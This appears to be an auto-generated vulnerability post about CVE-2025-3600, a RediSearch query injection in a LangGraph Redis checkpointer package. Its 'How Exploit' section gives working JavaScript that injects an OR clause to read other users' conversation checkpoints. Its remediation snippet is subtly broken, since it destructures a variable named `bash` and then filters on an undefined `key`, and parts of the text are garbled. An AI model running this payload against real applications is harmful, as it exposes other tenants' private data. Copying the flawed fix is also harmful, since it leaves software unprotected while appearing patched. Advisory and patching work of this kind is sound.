Listen to this Post
The CVE-2025-3600 vulnerability exists in the `@langchain/langgraph-checkpoint-redis` package, specifically within the `list()` methods of the `RedisSaver` and `ShallowRedisSaver` classes . These methods construct RediSearch queries by directly interpolating user-provided filter keys and values without proper escaping. RediSearch has special syntax characters that can modify query behavior—such as `|` for OR operations, `{}` for tags, and “ for wildcards. When unescaped user-controlled data containing these characters is passed to the `filter` parameter, an attacker can manipulate the query logic. The most critical attack vector involves injecting a `|` (OR) operator. By crafting a filter value like x}) | (@thread_id:{, the resulting query becomes (@thread_id:{legitimate-thread}) (@source:{x}) | (@thread_id:{}). Due to RediSearch’s precedence rules, this is interpreted as (legitimate-thread AND source:x) OR (any thread). This effectively bypasses the intended thread isolation constraint, allowing the attacker to retrieve checkpoint data from all threads in a multi-tenant application.
DailyCVE Form:
Platform: LangChain Redis Checkpointer
Version: < 1.0.2
Vulnerability: Query Injection Bypass
Severity: Critical
Date: 18 Feb 2026
Prediction: Immediate patch recommended
What Undercode Say:
Analytics
This vulnerability is particularly dangerous for multi-tenant applications that rely on thread isolation for data separation. The attack surface is large because many applications expose filtering capabilities through API endpoints like `getStateHistory()` or checkpointer.list().
Bash/Codes
Check current version in your project npm list @langchain/langgraph-checkpoint-redis Update to the patched version (1.0.2 or later) npm install @langchain/langgraph-checkpoint-redis@latest Verify the update npm list @langchain/langgraph-checkpoint-redis | grep redis
How Exploit:
import { RedisSaver } from "@langchain/langgraph-checkpoint-redis";
const saver = new RedisSaver({ url: "redis://localhost:6379" });
// Normal usage - should only see thread "user-123-thread"
const legitHistory = saver.list({
configurable: { thread_id: "user-123-thread" }
}, {
filter: { source: "loop" }
});
// Attacker crafts malicious filter value
const attackerFilter = {
source: "x}) | (@thread_id:{" // Injects OR clause matching ALL threads
};
// This produces a query like:
// (@thread_id:{user-123-thread}) (@source:{x}) | (@thread_id:{})
// Due to precedence, this matches ALL threads!
const stolenHistory = saver.list({
configurable: { thread_id: "user-123-thread" }
}, {
filter: attackerFilter
});
// stolenHistory now contains checkpoints from ALL threads
console.log("Data leaked from all threads:", stolenHistory);
Protection from this CVE
- Immediate Patch: Update to version 1.0.2 or later which introduces the `escapeRediSearchTagValue()` function that properly escapes all RediSearch special characters .
- Defense-in-Depth: Even with the patch, validate filter keys against an allowlist:
app.get("/history", async (req, res) => { const allowedKeys = ["source", "step", "channel"]; const sanitizedFilter = Object.fromEntries( Object.entries(req.query.filter || {}) .filter(([bash]) => allowedKeys.includes(key)) ); const history = await saver.list(config, { filter: sanitizedFilter }); }); - Input Validation: Never pass raw user input to filter parameters without sanitization.
Impact
- Complete Bypass: Attackers can bypass thread-based access controls entirely
- Data Leakage: Sensitive conversation data from other users/threads can be exposed
- Multi-tenant Risk: Applications relying on thread isolation for data separation are critically affected
- Low Complexity: Requires only control over filter input values, which is common in user-facing APIs
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

